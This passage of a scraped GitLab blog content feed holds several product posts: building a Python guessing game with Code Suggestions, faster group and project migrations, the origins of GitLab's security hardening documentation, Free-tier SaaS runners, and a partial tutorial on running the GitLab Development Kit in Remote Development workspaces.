}",{"title":9064,"description":9065,"authors":9070,"heroImage":9066,"date":9052,"body":9071,"category":791,"tags":9072},[691],"\nOn long car rides with my daughter I have two options: Let her watch a movie or continuously play a game with her where she tries to guess a random number in my head. I often opt to play the game, but recently, my energy and patience weren't at their peak. This led to a moment of inspiration. Why not develop a simple application that my daughter could play on her own? The only hurdle was that I haven't developed an application in years, and, since then, new languages such as Python have emerged. \n\nWith the help of the AI-powered feature [GitLab Duo Code Suggestions (Beta)](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html), I was able to quickly develop a Python application, despite having no prior knowledge of the programming language.\n\n## How I built the guessing game application\nMy application development journey began by launching the [Web IDE](https://docs.gitlab.com/ee/user/project/web_ide/) powered by VS Code. From there, I navigated to Preferences and [activated Code Suggestions](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html#enable-code-suggestions-for-an-individual-user), paving the way for my AI-assisted coding session.\n\nThanks to Code Suggestions, I had the flexibility to input code or compose comments in plain text English, and receiving automated code suggestions while typing. For instance, I included only these three comments, ultimately utilizing them to construct the entire application:\n- store a random number between 0 to 10 \n- print a welcome message to Yael, ask to guess a number between 0 to 10 \n- create a loop that will continue until the user guesses the number \n\nTo my surprise, not only did the code suggestions align with my comments, but they also grasped the underlying concept of my application, offering additional code without explicit comments. After making a few minor adjustments, here is the final code for the game:\n\n```python\nimport random\n\n# Store a random number between 0 to 10\nnumber = random.randint(0, 10)\ncounter = 0\n# Print a welcome message to Yael, ask to guess a number between 0 to 10\n\nprint(\"Welcome to the guessing game, Yael!\")\nprint(\"I am thinking of a number between 0 and 10, can you guess what it is?\")\n\n# Create a loop that will continue until the user guesses the number\n\nwhile True:\n   # Get the user's guess\n   guess = int(input(\"Guess my number: \"))\n   counter += 1\n\n\n  # Check if the user's guess is correct\n   if guess == number:\n       # If the guess is correct, print a message and break out of the loop\n       print(\"You guessed it! My number was\", number, \"and it took you\", counter, \"guesses.\")\n       break\n  \n   elif    guess \u003C number:\n       print(\"Your guess is too low.\")\n   else:\n       print(\"Your guess is too high.\")\n\n```\n\nWith the assistance of Code Suggestions, I was able to navigate the intricacies of Python coding, step by step. The suggested code not only aligned perfectly with my intentions, but also expanded my understanding of the programming language, enabling me to build a functional game. \n\nAfter thoroughly testing the guessing game application using the debugging tool in VS Code, I was delighted to find that it worked flawlessly! However, a new challenge arose: How could I make this game accessible to my daughter while in the car?\n\n## How to leverage GitLab Remote Development workspaces Beta\nIf you have young children, you're likely familiar with their constant need for instant gratification. To satisfy my daughter's desire to play the new game on her iPad right away, I needed a solution.\n\nSince the game wasn't available as a mobile or web application, I decided to utilize the power of [GitLab Remote Development workspaces](/blog/quick-start-guide-for-gitlab-workspaces/) to create a mobile environment for her.\n\nThe workspace is a temporary development environment hosted in the cloud, which offers a simple setup process and numerous advantages for developers. Now, you might wonder how this is relevant to our topic. Well, Remote Development workspaces provides a link to access the environment. This became my workaround to allow her to start playing the game immediately within that development environment directly from her iPad.\n\nThis strategy turned out to be the perfect workaround, not only allowing her to enjoy the game but also exposing her to the captivating world of programming.\n\n## Understanding beta features\nWhile my journey of developing a game in Python, with the help of Code Suggestions, has been incredibly valuable, it's important to acknowledge that the feature is currently in its beta phase. As is common with beta features, there are certain considerations to keep in mind. Due to the high demand and ongoing improvements, there may be occasional unscheduled downtime and potential delays in receiving Code Suggestions within IDEs. Additionally, it's worth noting that the suggestions generated by Code Suggestions may occasionally be of lower quality or incomplete. As Beta users, it is crucial to familiarize yourself with the [documented limitations](https://docs.gitlab.com/ee/user/project/repository/code_suggestions.html).\n\n## Demo\nThis [click-through demo](https://go.gitlab.com/HplUKw) showcases how I used Code Suggestions to develop the guessing game application. I encourage you to give Code Suggestions a try today as you will have a lot of fun.\n\n## We are looking for your feedback! \nFeedback from Beta users of Code Suggestions is invaluable. The GitLab team eagerly awaits your input, which will play an important role in further enhancing this feature and refining its capabilities. Together, we can shape the future of Code Suggestions and make it even more powerful and reliable. To send feedback, or report on issues, use the [Code Suggestions feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/405152). \n\n",[736,754,790,943],{"slug":9074,"featured":6,"template":678},"gitlab-duo-code-suggestions-python","content:en-us:blog:gitlab-duo-code-suggestions-python.yml","Gitlab Duo Code Suggestions Python","en-us/blog/gitlab-duo-code-suggestions-python.yml","en-us/blog/gitlab-duo-code-suggestions-python",{"_path":9080,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9081,"content":9087,"config":9092,"_id":9094,"_type":16,"title":9095,"_source":17,"_file":9096,"_stem":9097,"_extension":20},"/en-us/blog/how-to-migrate-gitlab-groups-and-projects-more-efficiently",{"title":9082,"description":9083,"ogTitle":9082,"ogDescription":9083,"noIndex":6,"ogImage":9084,"ogUrl":9085,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9085,"schema":9086},"How to migrate GitLab groups and projects more efficiently","Learn about performance improvements to GitLab migration by direct transfer and what's next.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668760/Blog/Hero%20Images/migration2.jpg","https://about.gitlab.com/blog/how-to-migrate-gitlab-groups-and-projects-more-efficiently","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How to migrate GitLab groups and projects more efficiently\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Magdalena Frankiewicz\"}],\n        \"datePublished\": \"2023-08-02\",\n      }",{"title":9082,"description":9083,"authors":9088,"heroImage":9084,"date":9089,"body":9090,"category":962,"tags":9091},[3717],"2023-08-02","Migrating groups and projects using direct transfer enables you to easily move GitLab resources between GitLab instances using either the UI or API. In a [previous blog post](https://about.gitlab.com/blog/try-out-new-way-to-migrate-projects/), we announced the release of migrating projects as a beta\nfeature **available to everyone**. We described the benefits of the method and steps to try it out.\n\nSince then, we have made further improvements, especially focusing on [efficient](https://gitlab.com/groups/gitlab-org/-/epics/8983) and\n[reliable](https://gitlab.com/groups/gitlab-org/-/epics/8927) migrations for large projects. In this blog, we'll elaborate on these improvements, as well as their impact on the overall process and speed of migrations. We'll also discuss estimating the duration of migrations.\n\n## Imports of CI/CD pipelines\n### Problem: Timing out\nWe received [a bug report about imports of CI/CD pipelines timing out](https://gitlab.com/gitlab-org/gitlab/-/issues/365702) and realized we needed to refine the underlying migration process. We considered the root cause of the problem and possible solutions, and ran proofs of concept. We concluded that we should tackle the\nproblem of having one massive archive file for a project with a large number of a certain relation types (for example, pipelines).\n\n### What we improved\nTo fix the problem of timeouts, we decided to introduce batching to the process of exporting and importing relations (for example, merge requests or pipelines).\n\nBefore we could fully complete the [epic for introducing the batching](https://gitlab.com/groups/gitlab-org/-/epics/9036), we had to introduce a couple of other optimizations\nto the process of exporting CI/CD pipelines.\n\nIn GitLab 15.10, we started:\n- [preloading associations when exporting CI/CD pipelines](https://gitlab.com/gitlab-org/gitlab/-/issues/391593)\n- [exporting commit notes as a separate relation](https://gitlab.com/gitlab-org/gitlab/-/issues/391601)\n\nWith these optimizations, exporting CI/CD pipelines sped up considerably. That allowed for a large number of pipelines in a project to be successfully exported to an archive file and then imported on the destination instance. However, because we were finally importing the pipelines, the overall duration of the migration increased.\n\nIn GitLab 16.3, we are introducing [exporting and importing relations in batches](https://gitlab.com/groups/gitlab-org/-/epics/9036). This has two benefits:\n- improves migration performance by creating and transferring smaller archive files, instead of one file per relation. These files can be very big if a project has thousands of pipelines.\n- enables more parallelism. For example, the CI pipeline data is now split into multiple batches and concurrent Sidekiq jobs (assuming the Sidekiq workers are available on the destination instance, see below) import each batch.\n\nThis improvement is already available by default on GitLab.com.\n- **Users migrating from a self-managed GitLab instance to GitLab.com** have to have their self-managed instance on at least GitLab 16.2, where batched export is available, to benefit from this improvement.\n- **Users migrating from GitLab.com to a self-managed GitLab instance** have to have their self-managed instance on at least GitLab 16.2 and enable the `bulk_imports_batched_import_export` [feature flag](https://docs.gitlab.com/ee/administration/feature_flags.html) to benefit from this improvement.\n\n## Can we estimate the duration of a migration?\nThis question has been asked time and again. The answer is that duration of migration with direct transfer depends on many different factors. Some of them are: \n\n- Hardware and database resources available on the source and destination GitLab instances. More resources on the source and destination instances can result in shorter migration duration because:\n  - the source instance receives API requests, and extracts and serializes the entities to export\n  - the destination instance runs the jobs and creates the entities in its database\n- Complexity and size of data to be exported. For example, imagine you want to migrate two different projects with 1,000 merge requests each. The two projects can take very different amounts of time to migrate if one of the projects has a lot more attachments, comments, and other items on the merge requests. Therefore, the number of merge requests on a project is a poor predictor of how long a project will take to migrate.\n\nThere’s no exact formula to reliably estimate a migration. However, we checked the duration of each job importing a project relation to share with you the average numbers, so you can get an idea of how long importing your projects might take. Here is what we found:\n\n- importing an empty project takes about 2.4 seconds\n- importing one MR takes about 1 second\n- importing one issue takes about 0.1 seconds\n\nYou can find more project relations and the average duration to import them in the table below.\n\n| Project resource type | Average time (in seconds) to import a single record |\n| ---- | ---- |\n| Empty project\t| 2.4 |\n| Repository | 20 |\n| Project attributes\t| 1.5 |\n| Members\t| 0.2 |\n| Labels\t| 0.1 |\n| Milestones\t| 0.07 |\n| Badges\t| 0.1 |\n| Issues\t| 0.1 |\n| Snippets\t| 0.05 |\n| Snippet repositories | 0.5 |\n| Boards\t| 0.1 |\n| Merge requests\t| 1 |\n| External pull requests\t| 0.5 |\n| Protected branches\t| 0.1 |\n| Project feature\t| 0.3 |\n| Container expiration policy\t| 0.3 |\n| Service desk setting\t| 0.3 |\n| Releases | 0.1 |\n| CI/CD pipelines\t| 0.2 |\n| Commit notes\t| 0.05 |\n| Wiki\t| 10 |\n| Uploads |\t0.5 |\n| LFS objects\t| 0.5 |\n| Design\t| 0.1 |\n| Auto DevOps\t| 0.1 |\n| Pipeline schedules\t| 0.5 |\n| References\t| 5 |\n| Push rule\t| 0.1 |\n\n## How can we migrate efficiently?\nWe also know what is needed to achieve the most efficient migration possible. \n\nA single direct transfer migration runs up to five entities (groups or projects) per import at a time, independent of the number of Sidekiq workers available on the destination instance. Importing five concurrent entities is the maximum allowed per migration by direct transfer. This limit has been set to not overload the source GitLab instance, because\nwe saw network timeouts from source instances when we removed this limitation.\n\nThat doesn't mean that if more than five Sidekiq workers are available on the destination instance that they won't be utilized during a migration. On the contrary, more Sidekiq\nworkers help speed up the migration by decreasing the time it takes to import each entity. Import of relations is distributed across multiple jobs and a single project entity\nhas over 30 relations to be migrated. [Exporting and importing relations in batches](https://gitlab.com/groups/gitlab-org/-/epics/9036) mentioned above results in even more\njobs to be processed by the Sidekiq workers. \n\nIncreasing the number of Sidekiq workers on the destination instance helps speed up the migration until the source instance hardware resources are saturated. For more information on\nincreasing the number of Sidekiq workers (increasing concurrency), see [Set up Sidekiq instance](https://docs.gitlab.com/ee/administration/sidekiq/#set-up-sidekiq-instance).\n\nThe number of Sidekiq workers on the source instance should at least be enough to export the five concurrent entities in parallel (for each running import). Otherwise, there will\nbe delays and potential timeouts as the destination is waiting for exported data to become available.\n\nDistributing projects in different groups helps to avoid timeouts. If several large projects are in the same group, you can:\n1. Move large projects to different groups or subgroups.\n1. Start separate migrations each group and subgroup.\n\nThe GitLab UI can only migrate top-level groups. Using the API, you can also migrate subgroups.\n\n## What's next for migrating by direct transfer?\nOf course, we're not done yet! We will continue to improve the direct transfer method, aiming towards coming out of beta and into general availability. Next, we are working on:\n\n- [Moving hardcoded limits of direct transfer to settings](https://gitlab.com/gitlab-org/gitlab/-/issues/384976) - Migration by direct transfer has some hardcoded limits that can be made configurable to allow self-managed GitLab administrators to tune them according to their needs. For GitLab.com, we could set these limits higher than their hardcoded setting.\n- [Removing a 90-minute export timeout](https://gitlab.com/gitlab-org/gitlab/-/issues/392725) - Removing this limit will allow exporting of even larger projects, because only projects that can be migrated in under 90 minutes are supported at the moment.\n\nMore details can be found on our [migrating by direct transfer roadmap direction page](https://about.gitlab.com/direction/manage/import_and_integrate/importers/). We are excited about this roadmap and hope you are too!\n\nWe want to hear from you. What's the most important missing piece for you? What else can we improve? Let us know\nin the [feedback issue](https://gitlab.com/gitlab-org/gitlab/-/issues/284495) or [schedule time](https://calendly.com/gitlab-magdalenafrankiewicz/45mins) with the Import and Integrations group product manager, and we'll keep iterating!\n\n_Disclaimer: This blog contains information related to upcoming products, features, and functionality. It is important to note that the information in this blog post is for informational purposes only. Please do not rely on this information for purchasing or planning purposes. As with all projects, the items mentioned in this blog and linked pages are subject to change or delay. The development, release, and timing of any products, features, or functionality remain at the sole discretion of GitLab._\n\nCover image by [Adrien VIN](https://unsplash.com/fr/@4dr13nv1n?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText) on [Unsplash](https://unsplash.com/s/photos/migration-birds?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText)\n",[754,736,1444,695],{"slug":9093,"featured":6,"template":678},"how-to-migrate-gitlab-groups-and-projects-more-efficiently","content:en-us:blog:how-to-migrate-gitlab-groups-and-projects-more-efficiently.yml","How To Migrate Gitlab Groups And Projects More Efficiently","en-us/blog/how-to-migrate-gitlab-groups-and-projects-more-efficiently.yml","en-us/blog/how-to-migrate-gitlab-groups-and-projects-more-efficiently",{"_path":9099,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9100,"content":9105,"config":9110,"_id":9112,"_type":16,"title":9113,"_source":17,"_file":9114,"_stem":9115,"_extension":20},"/en-us/blog/gitlab-security-hardening-documentation",{"title":9101,"description":9102,"ogTitle":9101,"ogDescription":9102,"noIndex":6,"ogImage":3961,"ogUrl":9103,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9103,"schema":9104},"The backstory on GitLab's security hardening documentation","GitLab has detailed documentation about how to harden your instance, now as a part of GitLab itself. Here's how it came to be.","https://about.gitlab.com/blog/gitlab-security-hardening-documentation","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"The backstory on GitLab's security hardening documentation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Mark Loveless\"}],\n        \"datePublished\": \"2023-08-01\",\n      }",{"title":9101,"description":9102,"authors":9106,"heroImage":3961,"date":9107,"body":9108,"category":674,"tags":9109},[5362],"2023-08-01","\nRecently, my fellow Security team member [Ayoub Fandi](https://gitlab.com/ayofan) released an excellent blog post entitled “[How to harden your self-managed GitLab instance](https://about.gitlab.com/blog/how-to-harden-your-self-managed-gitlab-instance/),” which featured seven steps for helping to lock down your environment. Ayoub’s blog post was based, in part, on early drafts of research into hardening I had been working on. I had no idea how long it would take me to reach a point where I could finally say this, but those original drafts are now a [part of GitLab documentation](https://docs.gitlab.com/ee/security/hardening.html).\n\n## Hardening your GitLab instance\nThe goal of the hardening documentation is for DevSecOps teams to be able to apply security controls and make sure your data and your GitLab instance are protected.\n\nHere's what I will cover:\n- the origins of the hardening documentation\n- field research, including a few attack scenarios\n- bringing an instance online\n- insight into when to use hardening, specifically how to do a bit of threat modeling and get the basics sorted before diving deep into full hardening \n\n## Origins of the hardening documentation\nThe idea for creating extensive hardening documentation started with a blog post I wrote three years ago called “[GitLab instance: Security best practices](https://about.gitlab.com/blog/gitlab-instance-security-best-practices/).\" This became a rather popular reference for GitLab customers asking about securing their self-managed instance (and even a SaaS deployment).\n\nAs I participated in other security efforts around Gitlab, such as [FedRAMP certification](https://about.gitlab.com/handbook/security/security-assurance/dedicated-compliance/fedramp-compliance.html), [compliance requirements](https://about.gitlab.com/handbook/security/security-assurance/security-compliance/certifications.html), and general [security concerns](https://about.gitlab.com/handbook/security/), I realized we needed more support materials focused on the \"Sec\" in DevSecOps.\n\nThe hardening project was born from this -  based largely off of an instance I had loaded up in 2020 and was using at home. During all of this time, from 2020 until now, I took notes, performed tests, had hacker friends and work colleagues poke and prod at this home system, and, then took even more notes. No doubt, the information I learned would be a huge benefit to GitLab users so I opted to create recommendations that could be updated frequently and accessible directly from a GitLab instance via the Help menu. \n\n## Field research\nI've been a security professional for well over a couple of decades and have had my own domain online since 1997, using five static IP addresses in my house. This deployment includes web services, a Mastodon instance, and a mail server. These systems have been used by a few close hacker friends during this time as a testbed, a place to converse and exchange ideas, and a great educational environment. A few years ago, I thought it would be fun for this group to have its own private GitLab instance called [Blackhole](https://blackhole.nmrc.org/). We could work on coding projects together, collaborate, and, since I worked at GitLab, I could use it for testing of a standalone instance for certain work-inspired issues.\n\nHaving live servers up with dedicated and static IP addresses means that, yes, these servers are under pretty much constant attack. Because of this clustering of security friends on these systems, we’ve even been targeted by more sophisticated attackers, up to and including nation states. A perfect test environment for real-world attack scenarios.\n\n### Attack scenarios\nLike many in the security field, over the years I’ve seen a number of attacks firsthand, so I made a list of things I needed for hardening against attacks. After doing some [threat modeling](https://about.gitlab.com/handbook/security/threat_modeling/), I noted the following three areas of concern:\n1. **Opportunistic intruders (okay, who am I kidding, [script kiddies](https://www.techtarget.com/searchsecurity/definition/script-kiddy-or-script-kiddie)).** These types of attacks are typically composed of easy-to-use scripts against known vulnerable applications. This has happened to me. Within five minutes of installation of an odd web-based application, while still reading the documentation and wondering if the apparently vulnerable software was actually working, it was compromised. So I had to assume immediate attacks would happen if I loaded this up on a live system exposed to the open internet.\n2. **Layered or chained attacks.** This is when an attacker takes advantage of a particular sub-component that is exposed to the internet, and while the sub-component might not allow for full system access, it could allow for access to another sub-component with access to data. I was determined to disable or secure as much as possible, leaving as few exposed ports or running services as possible.\n3. **Advanced persistent threat ([APT](https://en.wikipedia.org/wiki/Advanced_persistent_threat)) attackers.** They have repeatedly gone after my former employers, and as they learned who their employees were, home systems would become targets, and [mine were no exception](https://www.markloveless.net/blog/2021/6/8/advancing-persistently-against-apt). To this day, I receive an APT attack attempt every few months. Knowing that one tactic of APT attackers is supply chain attacks, having a DevSecOps platform shared by hackers could be seen as a delicious target, so security had to be top of mind.\n\n## Bringing an instance online\nAs I installed Blackhole, I first configured the firewall at the operating system level to close off all of the ports from public access, only allowing access from my internal network. As a rule, my perimeter router allows all traffic in for those five static IP addresses, with each system following strict firewall rules using the operating system’s firewall capabilities. Most of these five systems cannot even talk to each other, or only have the bare minimum connectivity configured to enable functionality. As I was monitoring traffic to my public systems via my perimeter router, in less than 10 minutes, I started seeing port scans against Blackhole’s IP address, well before it had even finished installation of the Linux operating system. I was glad the firewall was up and running from the start.\n\nAs GitLab was installed and Blackhole came up in its state as a GitLab instance, I started going through the various settings and making sure that things were locked down as tight as possible. Anything I wasn’t using was disabled. This applied to the underlying operating system as well as the GitLab software itself. When I felt good enough about it, I adjusted the firewall settings to open things up ever so slightly, and the system has been under near constant attack since.\n\n## When to use the hardening documentation\nGitLab is a comprehensive DevSecOps platform that can handle all kinds of security scenarios. GitLab the company uses the product to not only develop the platform, but we also run the company off of it. The feature-rich platform can be configured in many different ways. Keeping that in mind, note that one setup might be set up to be more secure than another simply because of the environment it needs to be included in. There are drastically different configuration choices for an environment that is publicly accessible vs. one that is only accessible from employee workstations, or  a large enterprise with employees located on multiple continents vs. a small business' single server deployment.\n\nHardening, therefore, is dependent on your unique environment, and requires you to understand the threats you need to mitigate against, and account for any regulatory and compliance requirements to which you must adhere. However, there are a few common steps that can lead you through the process.\n\n### Start with the basics\nThe first recommendation is to start with a few basics. Make sure you have some ground rules established in your organization such as password standards, software upgrade schedules, and compliance requirements. This will make it easier as you move through the process. Understand the threats your organization has faced in the past, and the potential threats you could face in the future. I wrote a blog post on [threat modeling](https://about.gitlab.com/handbook/security/threat_modeling/) and [we use it internally](https://about.gitlab.com/handbook/security/threat_modeling/howto.html) as well.\n\n### Full hardening\nI’d recommend reading [Ayoub’s blog post](https://about.gitlab.com/blog/how-to-harden-your-self-managed-gitlab-instance ) and follow the seven steps he puts forward. In many cases, after you’ve finished Ayoub’s blog post you will have enough to meet your security needs right there. If you need more, delve into the [hardening recommendations documentation](https://docs.gitlab.com/ee/security/hardening.html). Adapt it as needed to meet your organization’s security demands, and explore the possibilities to increase the security of your environment. Note that these recommendations are not limited to just GitLab settings, but also includes a few recommendations for the underlying operating system itself.\n\n### Share your feedback\nIf you have ideas for more security tips and tricks or questions regarding the hardening documentation, please open an issue on GitLab. We’d love to hear from you and welcome feedback and contributions! And if you want to learn more about how we do security at GitLab, review the [security section](https://about.gitlab.com/handbook/security/) of the handbook.\n",[674,3949,943],{"slug":9111,"featured":6,"template":678},"gitlab-security-hardening-documentation","content:en-us:blog:gitlab-security-hardening-documentation.yml","Gitlab Security Hardening Documentation","en-us/blog/gitlab-security-hardening-documentation.yml","en-us/blog/gitlab-security-hardening-documentation",{"_path":9117,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9118,"content":9124,"config":9128,"_id":9130,"_type":16,"title":9131,"_source":17,"_file":9132,"_stem":9133,"_extension":20},"/en-us/blog/medium-gitlab-saas-runners-on-linux-now-available-to-all-tiers",{"title":9119,"description":9120,"ogTitle":9119,"ogDescription":9120,"noIndex":6,"ogImage":9121,"ogUrl":9122,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9122,"schema":9123},"Medium GitLab SaaS runners on Linux now available to all tiers","Free tier users can follow a few instructions to use medium SaaS runners on Linux to increase CI/CD pipleline speeds.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679838/Blog/Hero%20Images/fastlightrunner.jpg","https://about.gitlab.com/blog/medium-gitlab-saas-runners-on-linux-now-available-to-all-tiers","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Medium GitLab SaaS runners on Linux now available to all tiers\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Gabriel Engel\"}],\n        \"datePublished\": \"2023-08-01\",\n      }",{"title":9119,"description":9120,"authors":9125,"heroImage":9121,"date":9107,"body":9126,"category":736,"tags":9127},[769],"\nFree tier users of GitLab can now experience shorter CI/CD execution times with medium GitLab [SaaS runners on Linux](https://docs.gitlab.com/ee/ci/runners/saas/linux_saas_runner.html). Previously, [Free tier](https://about.gitlab.com/pricing/) users could only use our small SaaS runner on Linux, which sometimes resulted in longer CI/CD execution times. As of now, though, our medium SaaS runners on Linux are available to all tiers.\n\nTo use the medium SaaS runners on Linux, simply add the `saas-linux-medium-amd64` tag in your project's `gitlab-ci.yml` file.\nUnder the hood, we spin up a fresh [GCP `n2d-standard-4`](https://cloud.google.com/compute/docs/general-purpose-machines#n2d_machine_types) VM for one-time use with 4 vCPUs, 16GB RAM, and 50GB storage attached.\n\nWe look forward to seeing our Free tier users increase their pipeline speeds.\n\n## References\n- [What are SaaS runners?](https://docs.gitlab.com/ee/ci/runners/)\n- [SaaS runners on Linux documentation](https://docs.gitlab.com/ee/ci/runners/saas/linux_saas_runner.html)\n- [Cost factor for SaaS runners](https://docs.gitlab.com/ee/ci/pipelines/cicd_minutes.html#additional-costs-on-gitlab-saas)\n",[110,943,736],{"slug":9129,"featured":6,"template":678},"medium-gitlab-saas-runners-on-linux-now-available-to-all-tiers","content:en-us:blog:medium-gitlab-saas-runners-on-linux-now-available-to-all-tiers.yml","Medium Gitlab Saas Runners On Linux Now Available To All Tiers","en-us/blog/medium-gitlab-saas-runners-on-linux-now-available-to-all-tiers.yml","en-us/blog/medium-gitlab-saas-runners-on-linux-now-available-to-all-tiers",{"_path":9135,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":9136,"content":9141,"config":9147,"_id":9149,"_type":16,"title":9150,"_source":17,"_file":9151,"_stem":9152,"_extension":20},"/en-us/blog/gitlab-gdk-remote-development",{"title":9137,"description":9138,"ogTitle":9137,"ogDescription":9138,"noIndex":6,"ogImage":920,"ogUrl":9139,"ogSiteName":1180,"ogType":1181,"canonicalUrls":9139,"schema":9140},"Contributor how-to: Remote Development workspaces and GitLab Developer Kit","This tutorial helps you get GDK working inside Remote Development workspaces to begin contributing to GitLab.","https://about.gitlab.com/blog/gitlab-gdk-remote-development","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Contributor how-to: Remote Development workspaces and GitLab Developer Kit\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Raimund Hook\"}],\n        \"datePublished\": \"2023-07-31\",\n      }",{"title":9137,"description":9138,"authors":9142,"heroImage":920,"date":9144,"body":9145,"category":734,"tags":9146},[9143],"Raimund Hook","2023-07-31","\nOpen source is fundamental to GitLab. We believe that [everyone can contribute](https://about.gitlab.com/company/mission/#mission).\nTypically, we recommend that anyone contributing anything more than basic changes to GitLab run the [GitLab Development Kit](https://gitlab.com/gitlab-org/gitlab-development-kit) (GDK). Because contributors can't always meet the GDK's resource demands, we're working to enable GDK inside the cloud-based GitLab Remote Development workspaces.\n\nIn this article, I'll explain how I used a Remote Development workspace running in my Kubernetes cluster to make working with the GDK faster and easier.\n\n## A preliminary note\nFirst, keep in mind that as of this writing the [Remote Development workspaces](https://about.gitlab.com/direction/create/ide/remote_development/) feature is still in Beta. My example here is therefore very much a proof of concept — and as such, it has some rough edges.\n\nBefore getting started, I followed the \"[Set up a workspace](https://docs.gitlab.com/ee/user/workspace/#set-up-a-workspace)\" prerequisites guide in the GitLab docs. For a more detailed set of instructions, see Senior Developer Evangelist Michael Friedrich's tutorial on [how to set up infrastructure for cloud development environments](https://about.gitlab.com/blog/set-up-infrastructure-for-cloud-development-environments/).\n\n## Getting started with workspaces\nTo start using workspaces, you will need a project configured with a `.devfile.yaml`. GitLab team members have curated [a number of example projects](https://gitlab.com/gitlab-org/remote-development/examples) you can review.\n\nInitially, I tried to do this with a fork of the GitLab project itself, but I ran into [some issues](https://gitlab.com/gitlab-org/gitlab/-/issues/414011) when the workspace begins cloning the repository.\n\nTo figure out what was causing my problems, I looked more closely at what happens behind the scenes when a workspace is created.\n\n## Behind the scenes with Remote Development workspaces\nWhen you create a new workspace, the following happens:\n1. The GitLab agent for Kubernetes creates a new namespace in your cluster. The agent dynamically generates a name for and assumes management of the namespace.\n1. Inside the namespace, a new deployment is created, specifying the container you chose in your `.devfile.yaml` as the image to use.\n1. This deployment is configured with some [init containers](https://kubernetes.io/docs/concepts/workloads/pods/init-containers/) that perform some actions:\n    1. Cloning the repository into `/project/${project_path}`.\n    1. Injecting the VS Code server binary into your container.\n1. Once those init containers are complete, your container starts and the workspace becomes available.\n\n## The clone problem\nWhen cloning a repository, `git` tends to do much of the work in memory. This can be a challenge on larger projects/repositories, as it can require significant amounts of RAM. When cloning the GitLab project, for instance, git consumes approximately 1.6GB of RAM. This number is only going to increase with time. Sure, strategies like [shallow clones](https://git-scm.com/docs/git-clone#Documentation/git-clone.txt---depthltdepthgt) can help reduce this, but these are perhaps less suited to active use by a developer as they can increase the amount of time required to perform ongoing git operations.\n\nIn fact, creating a workspace using our `.devfile.yaml` in a fork of the GitLab project failed for this reason. The init container performing the clone is currently hard-limited to 128MiB of RAM, after which the memory management processes on the node kill the container.\n\nTo overcome this limitation, move the `.devfile.yaml` into the a fork of the root of the GDK repository. This project clones more quickly (and does so using fewer resources), so it's a  perfect starting point for running GDK itself. Another (bonus) advantage: You're then primed to contribute to the GDK itself, in addition to any of the other GitLab projects that the GDK clones.\n\n## Components of a GDK installation\nGDK clones the following projects from the GitLab 'family':\n* [GitLab](https://gitlab.com/gitlab-org/gitlab)\n* [Gitaly](https://gitlab.com/gitlab-org/gitaly)\n* [GitLab shell](https://gitlab.com/gitlab-org/gitlab-shell)\n\nThis allows you to work on any items in those directories as a part of your \"live\" installation.\n\n## Getting GDK installed and running in a workspace\nOnce I had a workspace up and running, my next step was to get GDK installed and running *in* that workspace. The GDK's documentation presents [several routes for doing this](https://gitlab.com/gitlab-org/gitlab-development-kit/#installation).\n\nA complete installation can take some time, as GDK needs to bootstrap itself and install a number of prerequisites. This is less than ideal in the context of a Remote Development workspace, as one of remote development's primary benefits is enabling access to a development environment rapidly. Requiring a user to bootstrap an environment that takes 50 minutes (or longer) doesn't help achieve this goal.\n\nTo combat this, I built a container image that effectively bootstraps and installs GDK, pre-building the GDK prerequisites and pre-seeding the database. This image and its associated tooling are currently [in review](https://gitlab.com/gitlab-org/gitlab-development-kit/-/merge_requests/3231).\n\n## Pre-building\nPre-building the container and running the bootstrap process on a scheduled basis allows us to perform that process once, without requiring the user to wait for something that can essentially be \"pre-canned\" for their use.\n\nOnce the workspace is running, we still need to \"reinstall\" the GDK environment with the latest version of our GitLab repository, but this step doesn't take quite as long as a complete bootstrap.\n\n## Generating a gdk.yml file\nTo work properly, GDK also requires a [`gdk.yml` file](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/doc/configuration.md#gdkyml). This file tells GDK how to configure GitLab to return the correct URLs and other items. To get GDK running in Remote Development, Rails needs to return URLs in a certain scheme (otherwise your browser won't know where to connect). To help this along, we [inject an environment variable](https://gitlab.com/gitlab-org/gitlab/-/issues/415328) into the workspace container. This variable helps us determine the URL in use (which is dynamically generated for each workspace).\n\nWe [now have a script](https://gitlab.com/gitlab-org/gitlab-development-kit/-/blob/main/support/gitlab-remote-dev/remote-dev-gdk-bootstrap.sh?ref_type=heads) in GDK that will generate your `gdk.yml` file based on your workspace.\n\n## Creating our devfile\nThe contents of my `.devfile.yaml` looks like this:\n\n```yaml\nschemaVersion: 2.2.0\ncomponents:\n  - name: tooling-container\n    attributes:\n      gl/inject-editor: true\n    container:\n      # NB! This image is only in use until https://gitlab.com/gitlab-org/gitlab-development-kit/-/merge_requests/3231 is merged!\n      image: registry.gitlab.com/gitlab-org/gitlab-development-kit/gitlab-remote-workspace:stingrayza-gdk-remote-dev-add-container\n      memoryRequest: 10240M\n      memoryLimit: 16384M\n      cpuRequest: 2000m\n      cpuLimit: 6000m\n      endpoints:\n        - name: ssh-2222\n          targetPort: 2222\n        - name: gdk-3000\n          targetPort: 3000\n        - name: docs-3005\n          targetPort: 3005\n        - name: pages-3010\n          targetPort: 3010\n        - name: webpack-3808\n          targetPort: 3808\n        - name: devops-5000\n          targetPort: 5000\n        - 